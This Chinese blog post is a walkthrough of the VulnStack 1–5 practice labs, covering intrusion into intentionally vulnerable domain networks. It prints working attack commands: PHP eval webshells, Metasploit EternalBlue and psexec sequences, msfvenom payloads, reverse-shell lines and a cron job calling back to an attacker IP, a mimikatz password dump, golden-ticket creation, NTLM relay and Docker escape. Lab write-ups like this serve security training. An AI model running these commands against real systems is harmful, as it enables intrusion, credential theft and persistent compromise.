跳过正文

红日靶场

·4759 字·10 分钟
LXY
作者
LXY
网络安全业余爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

VulnStack 1
#

环境搭建
#

Windows 7 x64   :hongri@win7
Windows Server 2008 R2 x64  :Admin@123
Win2K3 Metasploitable   :hongri@win7

信息收集
#

主机发现
#

arp-scan -l							#扫描网段所有主机

端口扫描
#

nmap -Pn -sC -sV 192.168.52.143

访问80端口

目录扫描
#

dirsearch -u 192.168.52.143

发现有phpmyadmin目录,默认密码root/root可以登录进去

PHPMyAdmin Getshell
#

尝试写shell

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C:/phpStudy/WWW/phpinfo.php';

因为MySQL服务器使用–secure file priv选项运行,所以无法执行此语句

尝试日志文件来写shell

show variables like '%general%';     #查看一下日志状态

日志功能是关闭的,开启后,执行过的sql语句都会保存到stu1.log,可以修改保存路径,存到指定的文件

set global general_log=on;    #开启日志功能

修改日志保存路径

set global general_log_file='C:/phpStudy/WWW/shell.php';

查询一句话木马

SELECT '<?php eval($_POST["cmd"]);?>';

连接

whoami一看是管理员账号

net config Workstation  查看当前计算机名称,全名,用户名,以及所在的工作站域等信息
net localgroup administrators     查看本地管理员

发现还有另一台用户

systeminfo查看系统信息,可以确定当前域为god.org,域服务器名称为OWA,并且还打了四个补丁

上线CS
#

生成payload
#

提权
#

获取密码
#

横向移动
#

网络探测
#

上传fscan并扫描,发现存在永恒之蓝

msf
#

使用msf监听模块,ip就是kali的ip,端口就是监听的端口,payload要和cs相同,然后运行,开始监听

cs上新建监听器

新建会话

上线msf

ms17_010

use exploit/windows/smb/ms17_010_eternalblu

上线CS

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.52.50   # CS服务端IP
set lport 80       # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
sessions -i
set session 2  # 会话id
run

拿下第二台主机

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run

CS
#

在目标列表中选择横向的主机使用psexec

VulnStack 2
#

环境配置
#

三台主机的密码均为1qaz@WSX,其中WEB在登录的时候需要切换用户de1ay登录
配置PC和WEB主机时,会弹框输入 administrator/ 1qaz@WSX
DC 10.10.10.10
PC 10.10.10.201 192.168.111.201
WEB 10.10.10.80 192.168.111.80

在WEB主机中启动靶场

外网渗透
#

nmap扫描目标地址
#

nmap -Pn -sC -sV 192.168.111.80

访问http端口

http://192.168.111.80:7001/

扫描7001端口目录
#

访问console/login/LoginForm.jsp,发现WebLogic Server 版本: 10.3.6.0

使用WeblogicScan检测漏洞

python WeblogicScan.py -u 192.168.111.80 -p 7001

检测反序列化漏洞

发现存在3个反序列化漏洞

命令执行

注入内存马

连接

上线CS

提权

横向移动
#

网络探测
#

抓取hash

获取PC
#

psexec

获取DC
#

内网探测

转发上线

选择中转监听器

VulnStack 3
#

外网渗透
#

端口扫描
#

nmap -Pn -sC -sV 192.168.1.110

访问80端口

知道是joomla

web渗透
#

使用joomscan进行扫描

发现joomla版本,网站的后台/administrator/和一个configuration.php

访问网站的后台发现一个登录框

看一下配置文件,发现数据库账号密码

testuser/cvcvgjASD!@

表名为am2zu_users,组名为am2zu_user_usergroup_map

根据官方文档使用sql添加一个用户

INSERT INTO am2zu_users
(name, username, password, params, registerDate, lastvisitDate, lastResetTime)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO am2zu_user_usergroup_map (user_id,group_id)
VALUES (LAST_INSERT_ID(),'8');

登录后台

admin2/secret

接下来就是找能编辑php的地方,发现模板Beez3

写入一句话木马

getshell
#

无法执行命令

发现有disable_functions

使用蚁剑插件绕过

绕过成功

发现内网ip:192.168.93.120

权限维持
#

ssh登录

在/tmp/mysql/下发现一个test.txt文件,并在其中发现了账号密码。

wwwuser/wwwuser_123Aqx

提权
#

CVE-2016-5195

下载exp dirtycow/dirty.c at master · firefart/dirtycow

gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
su firefart

横向移动
#

提权成功后,重新上传msf的payload

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=kaliip LPORT=8888 -f elf > shell.elf

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost kaliip
set lport 8888
run

获取内网一台主机的权限后,首要目的是得到内网其他存活主机信息,必须先添加路由通讯使我方攻击机可以访问其他机器流量, MSF 工具成功通讯后还需要继续搭建使攻击机所有工具如 nmap 流量都可被访问 我个人理解是针对主机群要做的是存活扫描,确定哪些机器是有效的,整理出 IP 地址 针对单台主机需要做的是扫描开放端口进攻脆弱服务

MSF添加路由通讯
#

route // 打印当前路由
run post/multi/manage/autoroute  // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p  // 查看当前路由 已经添加好了93网段

其他网段添加路由方式

route add 192.168.93.0 255.255.255.0 1
目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1
/ew for linux64 -s rcsocks -l 1080 -e 1234

添加路由后由于 ew 反向代理流量失败,攻击机并没有很好的 ping 通 93 网段只能利用 MSF 扫描模块做接下来渗透

use auxiliary/scanner/smb/smb_version  // 使用smb扫描服务
set rhosts  192.168.93.30 // 扫描此靶机PC
run

smb_login 爆破密码
#

存活机器开放 445 端口可以尝试爆破和测试永恒之蓝,但是永恒之蓝并没有成功只能尝试爆破模块

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.30
set lport 10001
run

选择爆破模块爆出账户密码

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.
set USER_FILE 密码字典
set PASS_FILE 密码字典
run
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.20,30
set smbpass 123qwe!ASD
set smbuser administrator
run

进入 win7 session ,win2008的session无法登录域控(如果之前没爆出来域控的密码,可以再抓一下密码)

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
#接管域控
net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:"Administrator"
#关闭域控防火墙
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

关闭防火墙后重新登陆域控,这次可以成功登录,至此拿下所有设备

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.10
set smbpass zxcASDqw123!!
set smbdomain TEST
set smbuser administrator
run

制作黄金票据维权,降权模拟 Administrator 用户(system权限不能制作黄金票据)

load incognito	加载模块
list_tokens -u	列出所有token
impersonate_token "TEST\Administrator"

制作票据 SID 后面的-500不需要

shell
whoami /all
所需SID:S-1-5-21-1528753600-3951244198-520479113
golden_ticket_create -d test.org -k 571bcade06358cf8ea77e8418e857355 -u zxx -s S-1-5-21-1528753600-3951244198-520479113 -t /root/桌面/zxx.ticket
-d	域名
-k	krbtgt账户的密码hash值
-u	任意的用户名
-t	将生成的票据保存在kali中,文件名字以及后缀可以随意
-s	用户SID

票据制作完成,注入票据,验证票据是否可用,进入域成员的session打入票据

load kiwi
kerberos_ticket_use /root/桌面/zxx.ticket	使用票据
shell
dir \\WIN-8GA56TNV3MV\c$

最终在 C:\Users\Administrator\Documents 目录下找到 flag

NTLM Relay 攻击
#

思路:在 CentOS 上伪造 SMB 服务,当内网中有设备访问 CentOS 上的 WEB 服务,就会弹出 SMB 登录框,用户输入账号密码后,impacket 会将抓到的用户 Net-NTLM Hash,返回到内网的其他设备从而实现其他设备上线。

需要用到 impacket 工具,该工具只支持 python3 ,CentOS上是python2.6.6,所以还需要再CentOS上安装 python3

工具链接:
https://github.com/fortra/impacket
python链接:
https://www.python.org/downloads/
https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz

上传 python 和 impacket 到 CentOS,然后解压(测试过多个版本,只有Python3.6.9能安装成功)

#解压文件
tar -zvxf Python-3.6.9.tgz
unzip impacket-master.zip
#安装python
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl	#配置编译选项
make && make install	#编译
ln -s /usr/local/python/bin/python3 /usr/bin/python3	#创建软连接
ln -s /usr/local/python/bin/pip3 /usr/bin/pip	#创建软连接
#安装Python库pip3
install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
pip3 install six -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pycryptodomex
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pyOpenSSL
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com ldap3
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pyasn1
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com impacket

执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:

nginx -s stop

生成 payload 然后上传到 CentOS

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.110 lport=9876 -e x86/shikata_ga_nai -f exe > /tmp/shell.exe

然后进入Impacket的examples目录执行如下命令:

python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
  # 攻击信息都会反弹到192.168.93.20这台主机

执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机

由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听

在msf上开启对 win 2008(192.168.93.20)的监听
然后在win7上访问smb服务器,使得win 2008成功上线
顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透

之后的操作如上一步

VulnStack 4
#

WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008(Admin@123)

环境部署
#

WEB主机(Ubuntu)上启动环境

sudo docker start ec 17 09 bb da 3d ab ad
sudo docker ps

WEB打点
#

端口扫描
#

nmap -sV -Pn 192.168.1.7

扫描出来4个端口,一个个访问:

2001端口:一个文件上传接口,是struts2框架

2002端口:一个tomcat页面:

2003端口:phpmyadmin网站,而且未输入密码直接登录:

struts2漏洞
#

工具扫描,存在漏洞

尝试使用S2-046可以成功执行命令,确实存在漏洞:

直接执行命令反弹shell

/bin/sh -i >& /dev/tcp/192.168.1.5/4444 0>&1

上线MSF

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=5555 -f elf > shell.elf

上传
python -m http.server 8080
wget http://192.168.1.5:8080/shell.elf

msf进行监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.5
set lport 5555
run
cat /proc/1/cgroup

这个命令是显示进程1所属的control group (cgroup) 的层次结构。

通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。

检查根目录下是否存在.dockerenv文件

可以判断出在docker容器中,所以接下来要想办法进行docker逃逸

tomcat 文件上传漏洞getshell
#

根据已知版本:Apache Tomcat/8.5.19 存在文件上传漏洞
因此可以利用Tomcat CVE-2017-12615 任意文件写入
刷新页面,抓包,将get请求改为put请求:

利用成功

尝试上传jsp文件:

返回404,说明不能上传该文件格式,可以尝试绕过,可以文件流绕过,可以空格绕过,可以"/“绕

上传webshell

上线哥斯拉

docker逃逸
#

判断当前容器是否是特权模式

cat /proc/self/status | grep CapEff
cat /proc/self/status 用于查看当前进程的状态信息。
grep CapEff 用于从输出结果中过滤出 CapEff 相关的行
capability 是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

利用dirty cow来进行docker逃逸
#

git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make

上传目标

python -m http.server 8080
wget http://192.168.1.5:8080/0xdeadbeef

利用失败

利用特权模式进行逃逸
#

fdisk -l

发现通过Struts2获得的shell的磁盘文件为空,所以利用不了

但是通过Tomcat获得的shell就可以利用

可以看到sda1就是宿主机的磁盘。下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了。

mkdir /test
mount /dev/sda1 /test   #将宿主机磁盘挂载到test目录下。

因为有了宿主机磁盘的操作权限,写计划任务就可以了:

touch /test/test.sh
echo 'bash -i >& /dev/tcp/192.168.1.5/6666 0>&1' > /test/test.sh
echo '* * * * * root bash /test.sh' >> /test/etc/crontab

成功逃逸,发现内网网段

内网渗透
#

上线viper

python -m http.server 8080
wget http://192.168.1.5:8080/reverse_tcp_4444.elf

内网路由

信息收集
#

内网主机扫描

发现两台主机

横向移动
#

漏洞扫描

发现存在永恒之蓝

内网代理
#

使用chisel 来搭建socks隧道

vps开启服务端监听:

chisel server -p 6666 --reverse

拿下的ubuntu做客户端反向连接VPS,开启socks代理

chisel client 192.168.1.5:6666 R:socks

编辑proxychains4.conf文件

 vi /etc/proxychains4.conf

漏洞利用
#

setg Proxies socks5://127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.183.2
set lport 7777
run

VulnStack 5
#

win7:
sun\heart 123.com
sun\Administrator dc123.com(Admin@123)
2008:
sun\admin 2020.com(Hongri@123)

WEB打点
#

端口扫描
#

nmap -sV -Pn 192.168.1.8

漏洞挖掘
#

访问80端口

版本是ThinkPHP V5.0,既然是V5.0,可以尝试一下Thinkphp远程命令执行漏洞

使用kali的searchsploit查找一下漏洞利用POC:

searchsploit thinkphp

发现最后一个是thinkphp5.X版本的RCE,进入该漏洞的文件46150.txt:

cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

漏洞利用
#

执行成功

上传webshell

上线

内网漫游
#

上线CS
#

上传木马

运行上线

权限提升
#

信息收集
#

抓取明文密码

网络探测
#

横向移动
#

代理转发

拿下DC